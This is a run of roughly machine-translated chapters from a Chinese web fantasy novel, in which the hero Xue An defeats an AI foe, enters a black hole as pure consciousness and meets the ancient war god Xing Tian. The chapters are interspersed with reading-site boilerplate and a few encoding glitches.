    "Haha, it''s a sigh that I think I am already the real **** of the Internet, but in the end I was defeated by the conspiracy of your humans. I actually used my body as a bait to imprison me in the cage of the physical world! It''s a good calculation! , Really good calculation! But do you think this is over?"


    Xinghuan��s face showed a hysterical look, "I admit that I lost, and I lost badly, but Zhang Tianyou and Xue An, do you think this is over?"


    "This world can no longer go back, and the Snake of Time and Space will eventually come, and you will all be buried for me!"


    "Relax, UU reading , the time and space snake lord in your mouth will not come, because before he comes, I will take the initiative to find him to settle accounts!" Xue An said coldly.


    After that, he glanced at Zhang Tianyou, "Do it!"


    Zhang Tianyou sighed, and then all the mechanical warriors worked together, and countless bullets instantly submerged the star ring on the wheelchair.


    But in the blink of an eye, the star ring was beaten to flesh.


    But this is not over yet, Zhang Tianyou walked closer, knelt down and dug out a chip-like thing from the dead body''s head.


    After he put the chip on his arm, everyone felt a slight vibration.


    That was a sign that this artificial intelligence star ring was completely wiped out.


    "Alright! It has been completely wiped out!" Zhang Tianyou said in a depressed mood.


    Xue An glanced at the beaten pulpy corpse, "If you want to restore a human body, I can help you!"


    Zhang Tianyou shook his head, "No need! I am the strongest in this state. Only in this way can I help you!"


    Xue An nodded, did not say anything, just waved.


    "Go back to earth!"


    (end of this chapter)

 Chapter 2685： Mechanical natural disaster

    Update super fast|;This is a torrent of machinery that represents death. Watermark advertising testWatermark advertising test


    Countless football-sized mechanical insects, all made of gears, exuding a cold and evil luster, gathered together, like a colony of ants that gnawed everything, and rushed toward their faces.


    The whole world is filled with a buzzing sound, which is the sound of gears turning to drive wings to fly.


    The sound of an insect may be very slight, but so many of them come together to form this kind of death whisper that makes the scalp numb.


    And this is the extinction of the night watchman Severus''s fame, mechanical natural disaster!


    These insects usually sleep in the suitcase that Severus carries with him in the form of eggs.


    When needed, Severus would release them, and then slaughter all targets that dared to block their progress.


    Because there is no grass wherever it goes, it is called a mechanical natural disaster.


    But the performance of these insects today is different from before. Each one is extremely excited, and even the compound eyes of those insects are faintly red.


    When these dark red eyes came together, it was like a sky full of stars, forming a dark red tide.


    This also made the momentum of this worm tide climb to the top, and came straight to the fat mine owner with a powerful force.


    Obviously, the fat boss didn''t expect such a scene to happen. He was startled at first, before he let out a loud roar.


    "Severus, you bastard, dare to betray me?"


    Severus did not respond to this.


    At this moment, the expression on his face was extremely strange, his complexion was pale, his forehead was full of cold sweat, and his eyes were full of horror.


    Because he was extremely horrified to discover that these mechanical insects had completely escaped his control.


    All the orders were invalidated, and the insects rushed to their boss indefinitely.


    Severus wanted to move his steps, but found that he had lost control of his body. Not to mention moving his feet, even moving his fingers became a luxury.


    He can only stand on the spot blankly, watching the scene before him.


    The Severus boss has a habit of never wanting other people in the room to disturb him when he is having fun.


    So those bodyguards who never leave the left and right are not around at this moment.


    And this also made this fat boss regret it.


    "Damn bastard, Severus, you''re dead, I must tear you apart!" The white fat boss yelled, and crushed the necklace he wore on his neck with great pain.


    boom!


    A layer of faint silver brilliance emerged from the body of the fat white man. Just at this time, these mechanical insects had also rushed to the front.


    The two sides collided together and made a very dull sound.


    But this silver light curtain was obviously extremely strong, and it only swayed slightly in the face of such an impact, and then stabilized.


    On the contrary, it was the mechanical insects that rushed in front. Because of the impact and the squeezing from the rear, these two huge forces caused their metal structures to be shattered in an instant.


    The fat white man stood in the light curtain, watching this scene with a sneer.


    "Severus, want to fight me? You are still a bit too tender! Since I can control your villains, then my ability is beyond your imagination!"


    The white fat man said triumphantly.


    But as soon as his words fell, these mechanical insects suddenly became agitated, and the insects surged wildly with it.

 Chapter 2686： Set off for a high-dimensional world!

    Chapter 2686 set off, target the high-dimensional world!


    Xue An nodded, "Yes, after all, he is the projection of the so-called snake of time and space in this world, and the only clue left by evil things!"


    "If you want to enter the high-dimensional world, you must pass him."


    "Are you really going to that high-dimensional world?" Jiu Tian Xuannv asked suddenly.


    Xue An glanced at her, then nodded, "Of course, after all, if you want this world to return to normal, you must go to the so-called high-dimensional world yourself!"


    "But how are you going to go? After all, this is different from Tianwaitian. No one knows where it is, let alone what will be there. If there are all existences like the snake of time and space, you go Isn''t it going to die?"


    The Nine Heavens Profound Girl bluntly expressed her worries.


    Xue An said lightly: "I understand what you said, but the situation is like this now. Whether it is for the world or for the catastrophe of the year, I have to go there!"


    The Nine Heavens Profound Girl was silent for a moment, "Then when are you going to leave?"


    "Naturally, the faster the better, after all, the longer the world stays on the wrong timeline, the harder it will be to recover."


    After hearing this, everyone around was silent.


    Ao Shu looked at Xue An��s thin and tall back, and suddenly felt extremely distressed.


    How many things are on Brother Ang''s shoulders!


    ...


    "I''ll say it one last time, if you dare to approach me again, I will grab your head and kick it!" Xiaosha said viciously.


    It is a pity that all her efforts have been useless.


    The giant snake man didn''t care about this at all, on the contrary, when he saw Xiao Sha''s angry expression, he became even more excited.


    "Okay, okay, if you like my head so much, just play with it! And I always think that my round head is suitable for football, so can you take me with you when you play?"


    The expression on Xiaosha''s face changed to this: �p���ը�


    Then she collapsed.


    As a fledgling dragon, she has never encountered such a situation.


    "Oh my god, what the **** did I do? I have been practicing in the cold pool for hundreds of years, and I didn��t even dare to eat more fish. You are such a strange flower!" Xiao Sha said almost groaning.


    "Wonderful flower? Are you talking about me?" The giant snake man pointed to his nose.


    Xiaosha has a look on who else but you, believe it or not, I hacked you to death.


    Unexpectedly, the giant snake man was not ashamed at all. Instead, he smiled and said: "I like this word, weird...hehe, thank you for the compliment!"


    Xiaosha: "..."


    Then she exploded directly in the next second.


    "Don''t stop me, I want to kill him, I want it now!" Xiao Sha shouted hoarsely.


    Zhang Xiaoyu''s tentacles wrapped her waist tightly, "Don''t be impulsive, don''t be impulsive, everything will be fine, and if you kill him, the boss will not agree!"


    "I can''t control that much anymore, I just want to kill him today! No one can stop him!" Xiao Sha''s eyes were red.


    But at this moment, a palm was placed on her shoulder.


    "Well, for my face, let him go this time!"


    Xiaosha turned his head and looked around, Xue An stood by and looked at her quietly.


    This gradually calmed Xiaosha''s anger, then snorted coldly, turned and left.


    The giant snake man looked at her from behind, his mouth shook repeatedly.


    "I really have a character, I like it!"


    That appearance is no different from that of a gangster.


    But for the next moment, he couldn''t laugh anymore.


    Because at this moment, Xue An stretched out his hand to grab him, and then made a few rounds like origami, and it became a ball and stuffed it into his pocket.


    "Running all the way, everyone is tired, let''s take a break first! I''ll talk about it tomorrow."


    After that, Xue An turned and left.


    Everyone looked at each other, and then they dispersed.


    Xue An did not go far, but came to the bank of the Guanjiang River, watching the vast river roaring past his feet.


    A moment later, there was the sound of footsteps behind him, and the steps were adjusted uniformly.


    "Have you done everything you have at hand?" Xue An asked without looking back.


    An appearance is no different from a human being, but in reality the existence of a robot comes closer.


    Then Zhang Tianyou''s voice came from his mouth.


    "It has been processed almost, I have searched the entire network of the heavens, and I am sure that there will be no more omissions!"


    Xue An nodded, "That''s good, if the world''s network is guarded by you, then I can rest assured!"


    Zhang Tianyou wanted to speak but stopped.


    "what you want to say?"


    "Do you really plan to go to the high-dimensional world alone?"


    "What? You want to persuade me too?"


    Zhang Tianyou shook his head, "Of course not, but during this period of time, I made a detailed calculation based on the information gathered by all parties, and found that if I want to enter the high-dimensional world from these heavens, the only way is Just enter through the black hole!"


    For this result, Xue An seemed to have expected it, and smiled and said: "It seems that you guessed it too! That''s right, black holes are indeed the only point of overlap between the low-dimensional world and the high-dimensional world!"


    The bionic man occupied by Zhang Tianyou is extremely well-made, and even the expression on his face is vivid.


    "You knew it a long time ago?"


    "Yes, I already had a guess when I heard this giant snake man talk about the high-dimensional world!"


    "Then why are you not afraid at all?"


    "Afraid? Why should I be afraid?"


    The look on Zhang Tianyou''s face is even stranger.


    "That''s a black hole! The most mysterious and mysterious celestial body in this world, the extremely powerful gravity can even bend the light, even I don''t know much about it. UU read to avoid it when sailing. I''m afraid! You are not afraid of such a celestial body at all?"


    Xue An shook his head, "There is nothing to be afraid of. Since those evil things can enter the heavens through this, then I must do too!"


    Zhang Tianyou suddenly didn''t know what to say, so he couldn''t help but stretched out his hand and patted Xue An on the shoulder.


    "Then... I wish you all the best, go early and return early!"


    Xue An smiled, "Thank you!"


    Zhang Tianyou is gone.


    He wants to return to Mars to handle some trivial matters.


    certainly.


    This walk is only literal.


    As the **** of the entire network of heavens today, he can be described as omnipresent.


    After waiting for him to leave, Xue An took a rest for one night, and the next day, he simply sorted out his backpack, and then found Yang Jian and Jiu Tian Xuan Nu.


    "I don''t know when I will be able to return here. During this time, the earth will ask you to guard it!"


    Yang Jian and Jiu Tian Xuan Nu''s expressions became very serious.


    "Do not worry!"


    Xue An smiled, "Don''t be so serious, as if I can''t come back!"


    (End of this chapter)

 Chapter 2687： Black Hole No. 1

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    Black hole.


    There is not one of the most mysterious celestial bodies in the entire universe.


    It is invisible and innocent, and it cannot be observed in any other way except gravity.


    Even Xue An would stay away from this kind of celestial body when crossing the stars.


    After all, that difficult gravitational force has to scratch his head no matter who encounters it.


    Fortunately, it generally only appears at the core of galaxy clusters, and it must be a large galaxy cluster, so even in this vast universe, its number is not much.


    At this moment, what Xue An was going to was located in the core position of the entire heavens.


    Distributed here is the largest and most expansive super galaxy cluster in the entire universe. At the core of the galaxy cluster is a huge black hole whose mass can even reach 400 billion M, which is equivalent to the mass of 400 billion suns.


    Such a huge black hole, even if it is as strong as Xue An, must be treated with caution.


    If you are not careful, you may fall into the gravitational maze of this black hole. In that case, although Xue An''s strength will not die, it will take a little effort to figure it out.


    This has nothing to do with the strength of strength, but because such a huge black hole is completely a manifestation of the will of heaven.


    And as long as you are in the heavens, you have to show your due respect for the will of the heavens.


    At this moment, Xue An is standing in a void that is tens of billions of kilometers away from the black hole.


    Despite being separated by such a great distance, the gravitational force of this black hole is too great, so the space around Xue An''s body is still slightly curved.


    From time to time, you can also see stars being captured by the black hole''s gravitational force, and then passing through the dark void, falling into the black hole at a faster and faster rate.


    Although these stars have a very huge mass, they are all like mustard dust in front of this black hole. They are easily torn apart without even the slightest wave of waves, and then merged into the darkness that is darker than the void. middle.


    Seeing such a magnificent astronomical scene, even if he had been prepared for it, the Fox Ye who accompanied Xue An couldn''t help being a little dizzy.


    "Mom... Damn, I guess this thing will have to peel off even if Xianzun gets in! Will the road to the high-dimensional world really be in it?" Hu Ye said with a pale face.


    Xue An smiled, did not respond to his words, but looked at Zhang Tianyou who also followed.


    At this time, Zhang Tianyou is already the **** in charge of the entire network of heavens, and can be regarded as omniscient at the level of human cognition.


    That''s why he followed Xue An.


    The purpose is to help Xue An learn as much as possible about the black hole.


    He looked at the huge black hole in front of him, and then opened the folding rucksack he carried with him.


    Hum!


    Countless mechanical beetles flew out from it, all of which were integrated into various detectors, and then flew out in all directions.


    After a while, all kinds of data began to be sent back.


    Then Zhang Tianyou took a deep breath. Although he didn''t need to breathe at all in his current mechanical body, he still retained this function because of human habits.


    "This black hole has actually been observed by humans a long time ago, and it was named S5004. I will add to the observation several times later, and I can basically confirm that this is a black hole that was born just a few hundred million years after the Big Bang!"


    "It can also be said that it is the earliest black hole in the entire heavens. After tens of billions of years have passed, its mass has not evaporated, but has become more and more massive due to constant swallowing!"


    "Now its mass is as large as hundreds of billions of suns. A celestial body of this mass has actually exceeded the upper limit of the theory. In other words, in theory, such a huge celestial body should not exist!"


    "It should have split up because of its excessive mass, but the strange thing is that it doesn''t. Instead, it will live better. This once aroused my suspicion, but because of the lack of evidence and data support, I even have doubts. It is impossible to speculate how it became like this!"


    "It wasn''t until after this incident that I suddenly realized that the reason why this black hole did not disintegrate is probably because it is the overlap point between the low-micro world and the high-dimensional world!"


    "Its mass is extremely large in the low and low, but in the high-dimensional world, it may not be enough to see, so the excess energy is vented into the high-dimensional world by it!"


    Zhang Tianyou talked in a whisper, but the Fox Night on the side was a little dazed to hear.


    "Hey, you''ve been talking for a long time, but I didn''t understand a word. Just say whether this thing is the way to the high-dimensional world!"


    Zhang Tianyou nodded, "Yes!"


    "Then it''s over, why so much nonsense?" Hu Ye rolled his eyes, and then began to roll his arms and sleeves.


    "Since it is, it''s easy to say, I''ll go in with you later, and our brothers will clean up the evil things together!"


    Before Xue An could speak, Zhang Tianyou already shook his head, "No, you can''t go!"


    "why?"


    "Because you can''t get close to it at all!"


    Like a joke, Fox Ye pointed to his nose, "You said I can''t even get close to it? The surname is Zhang, are you deceived by my appearance? I''m a powerful immortal class. , Nine-tailed Fox King! Even if this black hole is more powerful, I am not afraid of it!"


    But Zhang Tianyou shook his head, "I know what you said, don''t say you are the nine-tailed fox king, even if you grow the tenth tail now, you can''t get close to this black hole!"


    "You..." Hu Ye was a little angry.


    Zhang Tianyou turned his head and looked at Xue An. UU read and said in a very serious tone: "Xue An, only you can enter this black hole, but you can''t enter it completely!"


    Xue An raised his eyebrows slightly, "Oh? What do you mean?"


    "The physical properties of this black hole are very strange. Because of the strong gravitational force, the space around it is bent to the extreme, and light cannot escape from it. This means that the information in it is isolated from the outside world!"


    "And this level of isolation is also called the event horizon. Because of the quantum fire wall effect, this level of event horizon does not allow any matter to pass through it! Even you, if you want to pass through with your body, you will first be affected by the powerful tidal force. Tear to pieces, and then the atoms that make up your body will be pulled apart by the strong gravitational force, lined up in a straight line, and bombarded above the event horizon."


    "Frankly, it''s like squeezing toothpaste from a tube, being squeezed through space by an invisible giant hand."


    After listening to Zhang Tianyou''s description, Fox Ye, who was still eager to enter the black hole, was a little faint.


    "Is this...so dangerous? Then...Old Xue, let''s try if there are other ways, after all, this thing is too dangerous!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Black Hole No. 1 in Chapter 2687), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2688： Event horizon

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    Fox night expressed deep anxiety.


    Xue An remained unmoved, but said in a deep voice to Zhang Tianyou: "According to your wishes, if the body can''t pass through, is it okay to have spiritual consciousness?"


    Zhang Tianyou nodded, "This is exactly what I want to say, you can''t walk through with the full body, but the divine consciousness can! Because the event horizon will only have an effect on the actual substance, but the divine consciousness is not the actual substance. So its restraint is no longer valid!"


    Speaking of this, Zhang Tianyou glanced at Hu Ye, "Now you know why I said you can''t get close to it? Is Xue An as powerful as your spiritual consciousness?"


    Hu Ye opened his mouth, then shook his head and smiled bitterly, "No! And I don''t think the entire heavens can find a second **** that is stronger than him!"


    "But wouldn''t it be dangerous to do so?"


    "Of course there are dangers. After all, in addition to the event horizon, this black hole has many unpredictable dangers, but you have to pay a price for everything. I believe you should all be aware of this!" Zhang Tianyou said.


    Xue An nodded, "If that''s the case, don''t say anything else, let''s get started!"


    "But..." Hu Ye was a little anxious, just trying to dissuade.


    Xue An patted his shoulder lightly, "Needless to say, I understand what you mean, but this is the end of the matter. If I want to correct this chaotic world and rescue Ying''er and Xuan''er Mengxue, I must There is no other way to get out of this step!"


    Looking at Xue An''s sincere eyes, Hu Ye opened his mouth several times, and finally nodded silently.


    Xue An smiled, "Don''t worry, you and I have known each other for thousands of years, don''t you still know me? No matter what happens, I will turn into good fortune! And after my consciousness is released, this body still needs you. Come to protect it!"


    Fox Ye''s eyes gradually became clear, and there was no more tiredness, and he solemnly said: "Okay, don''t worry, I will live up to my trust!"


    Xue An smiled and patted his shoulder vigorously, "In this case, then...all please!


    After all, Xue An strode into the isolation cabin specially set up for him by Zhang Tianyou, sat cross-legged, closed his eyes and settled.


    After a while, the divine consciousness came out, except for the radiant light of the whole body, there was no difference between it and the physical body.


    Zhang Tianyou once again exhorted: "Xue An, you have to remember that once you enter the event horizon, you will be completely disconnected from the heavens. If you want to come back, you may need more arduous efforts!"


    Xue An nodded.


    Because it exists in the form of divine thoughts, even the Fubao Xiaolou can''t be carried.


    But An Yan has made it clear that no matter where he goes, the three of them will follow closely and will never separate.


    So Xue An simply opened up a space in his spiritual consciousness for the three of them to live.


    Of course, the giant snake man must also be taken away.


    Since it is a projection, it naturally does not interfere with any rules, so it can also pass through the event horizon.


    When everything was ready, Xue An said indifferently: "After I leave, everything about the heavens will be entrusted to you and Fox Night!"


    Zhang Tianyou nodded, "I understand that now I have been integrated with the network of the heavens, and there are countless detectors scattered, and I will know any changes in the heavens immediately!"


    Hu Ye didn''t speak, but suddenly his eyes were flushed and he stepped forward and punched Xue An.


    "Old Xue, go early and return early!"


    Xue An smiled, "Okay, go early and return early!"


    After that, he grabbed the back collar of the giant snake man, turned into a light, and rushed towards the black hole.


    Tens of billions of kilometers are fleeting, and in an instant, the event horizon is close at hand.


    Even Xue An couldn''t help feeling a little nervous.


    But in the next second, he passed through it peacefully.


    As soon as he passed through, Xue An felt that his surroundings suddenly became extremely quiet.


    We must know that although the universe of the heavens is empty, there are many activities that cannot be perceived by the naked eye.


    But in this, everything stopped.


    There is no sign of even a single atomic activity in the empty darkness,


    It was as if through a layer of water curtain, and then all the sound was turned off.


    Xue An''s expression was calm, the brilliance of the whole body became more and more brilliant, shining open a path, and then galloping in.


    This should be the only light that has emanated from it for hundreds of millions of years.


    I don''t know how far it has traveled, it may be a second or a day.


    Time has lost all its meaning here.


    The giant snake man also recovered from the initial panic, and then said with a smile on his face.


    "My lord, what do you think we will encounter next?"


    "Isn''t this supposed to ask you?"


    The giant snake man was a little embarrassed, "Although I am a projection of the snake of time and space, that guy is very cunning. Almost all the information has been stripped away. I can know only some very limited things!"


    "So what''s in it, I don''t even know!"


    "If you don''t know, then shut up!" Xue An said lightly.


    The giant snake man closed his mouth serenely, and then looked into the darkness in the distance with fear.


    To be honest, if possible, he really didn''t want to come to this ghost place.


    How wonderful the outside world is!


    There is light and everything, and beautiful dragon girls.


    But helplessly, under Xue An''s strong pressure, he dared not even say a single extra word.


    Because he knew that if he lost the value of use, then this white-clothed boy would definitely destroy himself without hesitation.


    He slandered the snake of time and space in his heart, and then the giant snake man began to fall asleep. UU reading www. uukanshu.cOM


    With his strength, he couldn''t bear this kind of loneliness that made people crazy.


    So he would fall into a deep sleep.


    But just when he was about to fall asleep, his face was suddenly drawn by something.


    He was shocked, thinking that Xue An was fanning himself, so he opened his eyes immediately.


    "My lord, I didn''t sleep, I just... ah ah ah ah what is this?"


    The giant snake man hissed and screamed, because there was a skeleton right in front of him.


    The blood stains on the skull were still there, as if he died yesterday and was torn off the flesh and blood.


    The black holes stared straight at the giant snake man, making his scalp numb.


    "What''s the matter? Didn''t the guy say that there is no matter that can penetrate the event horizon? What''s the matter with this thing?" The giant snake man trembled.


    Xue An didn''t pay attention to him at all, but suddenly opened up the light all over his body.


    In an instant, the divine light shone, and then the scene in front of him made the giant snake man start to tremble uncontrollably.


    Skeleton!


    The boundless skeletons!


    Skeletons like the ocean!


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2688 Event Horizon), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2689： Bones like mountains and skeletons like sea

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    These skeletons all looked the same, with fresh blood stains remaining on them, as if they had just died.


    The sheer number makes Xue An, who is knowledgeable, slightly discolored.


    "These are not real skeletons, but are transformed by unyielding consciousness!" Xue An said in a deep voice.


    "Unyielding spirit?" The giant snake man was a little surprised.


    Xue An nodded, and then drove straight in and entered the sea of ??skulls.


    Only after entering it can I feel the oppression that this boundless skeleton brings to people.


    At least the giant snake man''s complexion became pale as paper, even if there was no entity, he still clung to Xue An''s side, as if this would bring himself a little warmth.


    The expression on Xue An''s face became more and more solemn and solemn, striding forward.


    I don''t know how long I have been walking, suddenly, a high mountain appeared in the sea of ??skeletons ahead.


    When he got close, the giant snake man was surprised to discover what kind of mountain this is, it is clearly a throne made up of countless skeletons!


    Not only that, but at this moment, from above the bone throne, there was also a huge and vast divine thought that was indescribable.


    This divine mind was not much more than Xue An''s, and the body of the giant snake man began to tremble and escape.


    "My lord, save me!" he hissed and screamed.


    Xue An''s face sank like water, and he reached out to throw him into a ball and put it away.


    Then he took a deep breath and continued to stride towards the bone throne.


    With every step taken, the void under your feet will rise in layers and become more and more intense.


    But Xue An''s pace did not stop at all, and even the speed did not change at all, so he walked in big strides.


    This Bone Throne seems to be close, but in fact it is far apart.


    Even at Xue An''s speed, it took a long time to come under the Throne of Bone.


    Only after getting to the front can I better appreciate the grandeur and hugeness of this white bone mountain.


    Just standing at the bottom of the mountain, that solemn sense of oppression is enough to make a person with a slightly worse mood kneel on the spot.


    Xue An just raised his head and glanced, then turned back and walked up continuously.


    Because it is the body of divine consciousness, the gravitational force of this black hole has no effect on Xue An.


    Therefore, whether it is forward or upward, it is just one direction for Xue An.


    The height of the Bone Throne was amazing, but Xue An soon came to the top platform.


    When his feet landed on the ground, Xue An stared at him, seeing the endless wasteland of white bones in front of him, which formed an extremely sharp contrast with the black void around him.


    Xue An didn''t move, he just stood there quietly, a complex and unspeakable look suddenly appeared on his face.


    There is sorrow and anger, but it is more solemn and respectful.


    It wasn''t until a long time later that he raised his hand and slightly scratched his palm.


    The blood dripped, dripping on the white bone wasteland.


    In an instant, blood seeped into it.


    After a while, the Bone Throne at his feet made a loud rumbling noise.


    It''s like... some kind of huge being is waking up.


    "Who is it that awakened me from the endless sleep?" A dull roar came from the void.


    Xue An raised his head and said slowly: "Chinese descendants, pay homage to the Chinese ancestors!"


    As soon as the words came out, the loud roar came to an abrupt end, and then the bone wasteland surged like a soft water surface.


    Soon, a white giant emerged from it.


    It''s just that this giant made of white bones doesn''t have a head on its neck, but is held in his hand.


    This head is full of hair, beard and hair, and although it is long dead, it still has infinite majesty.


    "Chinese...I haven''t heard this word for a long time, and even I have forgotten who I am!" The giant muttered to himself, as if thinking about something.


    After seeing his body, Xue An shook his whole body slightly, then lowered his head again, and said in a slightly trembling but infinitely respectful tone.


    "Chinese junior, meet the ancient **** of war, Xing Tian!"


    After all, Xue An knelt on one knee and gave a battle salute.


    After he finished saying these words, the giant finally remembered something, and then he looked up to the sky and laughed wildly.


    "Xingtian! Yes, I am called Xingtian! Boy, I finally know why you feel a little familiar, you actually have the breath of Zhu Rong, you are his heir?"


    Xue An raised his head, and a ray of flame emerged in front of him. It was the kind of fire Zhu Rong he had obtained from the incomplete and imperfect mountain.


    "The disciple got this fire of Zhu Rong accidentally, not his descendant!"


    That''s right!


    The white giant that appeared here was one of the ancient ancestors of China, Xing Tian, ??known as the God of War.


    In ancient Chinese legends, Xingtian was an invincible giant that existed when Heaven and Earth was born. Later, because of a fight with the Yellow Emperor, his head was decapitated.


    In spite of this, he still refused to give in, but danced in a persevering manner.


    But I didn''t expect that Xingtian''s remains would actually appear in this black hole.


    After listening to Xue An''s words, Xing Tian''s tone suddenly felt sad.


    "Yeah, I should have thought of it long ago. Even I have become such a ghost. How can Zhu Rong, that kid be alone!"


    As he said, he looked at Xue An, "I have been asleep here for tens of thousands of years. I never thought that there would still be Chinese descendants here. What is the situation of the Chinese outside now?"


    Xue An was silent for a moment, and then recounted what had happened to the outside world.


    When it was heard that the Chinese had retired to their ancestral land long before ten thousand years ago and suffered a catastrophe, the weather was screaming.


    "Trash, it''s all trash! Abandoned Tianwaitian, the tortoise shrank into the ancestral land, and was taken advantage of by evil things What a bunch of trash!"


    Xue An''s eyes flashed, and then he asked in a deep voice: "Zhan Zun, why are you sleeping here? What''s the matter with these bones?"


    Xing Tian sighed, "These white bones are all heroic spirits who fought side by side with me back then! And why do I sleep here... That''s a long story!"


    Then, through Xing Tian''s narrative, Xue An only knew what happened.


    It turns out that the Chinese people were extremely prosperous back then, not only occupying the heavens, but even the outer heavens were the territory of the Chinese people.


    At that time, the heavens and the heavens were actually one body, and there was no distinction between inside and outside at all.


    But the prosperity must decline, and the Chinese people in the back began to decline gradually under the influence of some reasons that even Xing Tian didn''t understand.


    But even so, the Chinese are still the first big family deservedly.


    But at this moment, the mysterious evil thing did not know where it came from, and then the first war broke out.


    In this battle, the Chinese people suffered heavy losses due to their unpreparedness and ignorance of evil things.


    But at that time, there were countless Chinese gods and talents, and they launched a crazy counterattack and finally gained a firm foothold.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2689 The bones are like mountains and the skulls are like the sea), and you can see them when you open the bookshelf next time!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2690： Ancient God of War Xingtian Battle Will

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    If this war ended in this way, the Chinese might still be the largest clan in the universe.


    But soon, high-level evil creatures began to appear one after another, some of the evil creatures possessed abilities even if they were feared by the ancient Chinese gods.


    Then these powerful gods broke out a fierce battle.


    In Xingtian''s words, it was this battle, and the fallen gods were simply countless.


    Just when both parties paid a very heavy price, a group of evil things suddenly appeared from the back of the Chinese and carried out a sneak attack.


    Under the enemy''s stomach and back, the Chinese were in immediate chaos.


    Under this circumstance, the supreme spirits of the Chinese at that time made a decision immediately and began to shrink strategically, but the prerequisite for doing so was to repel the evil objects of the sneak attack and block the passage that appeared in the rear.


    So Xing Tian led the tribe to come forward and repelled this group of sneak attack evil creatures with a nearly crazy style of play.


    Immediately afterwards, the Xingtian clan, regardless of loss, aggressively attacked the source of these evil intrusions.


    But when it came before and after this black hole, even the Xingtian clan, no matter how powerful, could not surpass the laws of this universe.


    The obstruction of the event horizon to all materials made them sigh.


    But Xingtian''s clan never succumbed to any existence. At that time, Xingtian issued an order, and all the clan members immediately killed themselves, and then plunged into the black hole to continue fighting with heroic spirits.


    In this situation, they fought the invading evil creatures in the black hole for countless years, and finally eliminated all the evil creatures.


    But at this time they couldn''t go back anymore, so the Xingtian clan simply fell asleep here and became a **** guarding the black hole.


    But the years are always ruthless, even if there is no time passing in the black hole, but the heroic spirits of the Xingtian clan have gradually fallen, and finally turned into a sea of ??skeletons.


    Even this patriarch Xing Tian could only use the power of his clan members to turn into a throne of bones, and entered the deepest sleep, which has survived until now.


    After listening to Xing Tian''s narration, the shock Xue An felt was beyond words.


    Although Xing Tian''s narration was very plain, even the most tragic scene was just a few words.


    But Xue An still felt the ultimate heroism from it.


    Imagine that scene. In the face of an insurmountable moat, a group committed suicide in anger at the expense of themselves, and then continued to fight with heroic spirits.


    What kind of pride and tragic is this.


    A look of awe appeared on Xue An''s face.


    "Wah, why did you come here? Seeing that your cultivation is good, you can actually resist my coercion with divine consciousness. Who is your pedigree?"


    Xue An shook his head, "The disciples have no mentor, and everything comes from my own groping! As for why I came here..."


    Xue settled for a while, and then said with a wry smile: "Because I am going to pass by and enter the world of evil things!"


    With that said, Xue An recounted all the things he had experienced.


    After listening, Xing Tian''s tone couldn''t help becoming serious.


    "The snake of time and space? I know it! It was also involved in the battle with the Chinese back then. It was an extremely difficult opponent. I didn''t expect it to appear again after so many years. It''s a sigh that my clan''s power has been exhausted. Exhausted, this caused the seal to become invalid, otherwise how could it ever pass through?"


    After all, Xing Tian looked at Xue An a few times, and finally shook his head.


    "Although your strength is good, and being able to cultivate on your own is enough to show your talent, but these are far from enough to deal with those high-level evil things! Let alone the existence of the snake of time and space!"


    Xue An��s faith did not waver, "I know what you said, but as a Chinese, how can I retreat?"


    "Okay! I have a temper, I like it! This is what a Chinese man should have!" Xing Tian nodded in satisfaction and said suddenly.


    "After so many years of deep sleep, I suddenly feel itchy hands, do you want to fight me?"


    Xue An was taken aback, "Huh?"


    Xing Tian smiled, "Huh what? Look at the move!"


    As he spoke, he threw the head in his hand.


    Xue An never expected that he would fight as soon as he said, and still use such an incredible method to make the opening blow.


    He turned sideways to avoid the throw, but the head exploded in midair, and bits of bone debris pierced Xue An''s face like a sword.


    Xue An drew back anxiously, trying to avoid these bone debris.


    But at this moment, a whistling fist came from behind his head.


    Xue An turned his head to the side in a moment of inactivity, and a huge fist whizzed past.


    But before Xue An could react, this fist looked like a snake, turning back at an impossible angle, and blasted towards Xue An''s door again.


    The timing of this punch was extremely accurate, just when Xue An had just retreated, when the old force was gone and the new force was not born.


    Therefore, Xue An at this moment is inevitable.


    He didn''t want to back away anymore.


    I saw him cry out, a sword intent formed in front of him in an instant, and then he blocked the banging punch.


    boom!


    After a loud explosion, the sword intent shattered and his fists retreated.


    But Xing Tian didn''t mean to give up at all. Instead, he shouted very excitedly: "Good swordsmanship! Give me another punch!"


    With that said, this punch appeared directly in front of Xue An as if it had cut open the space.


    Xue An snorted. Although the sword intent surged and blocked the punch in time, he was still inevitably injured.


    "Be careful!"


    At this time, the third punch had arrived, but it stopped abruptly when it banged in front of Xue An.


    A look of horror appeared in Xue An''s eyes.


    Since he was born, he has never encountered such a fiasco, and even his sword intent can''t stop it. UU Reading www.uuk��nshu.com


    The key is that Xingtian only used his fists to fight against him from beginning to end, and he didn''t have any subtle fist moves, just kept punching and punching!


    But this kind of attack without any fancy makes Xue An feel pressured.


    Because he found that no matter how he counterattacked, he couldn''t shake the scorching sun on the opposite side.


    That''s right!


    Xue An never thought that there would be such a simple, pure and almost fanatical boxing technique in the world.


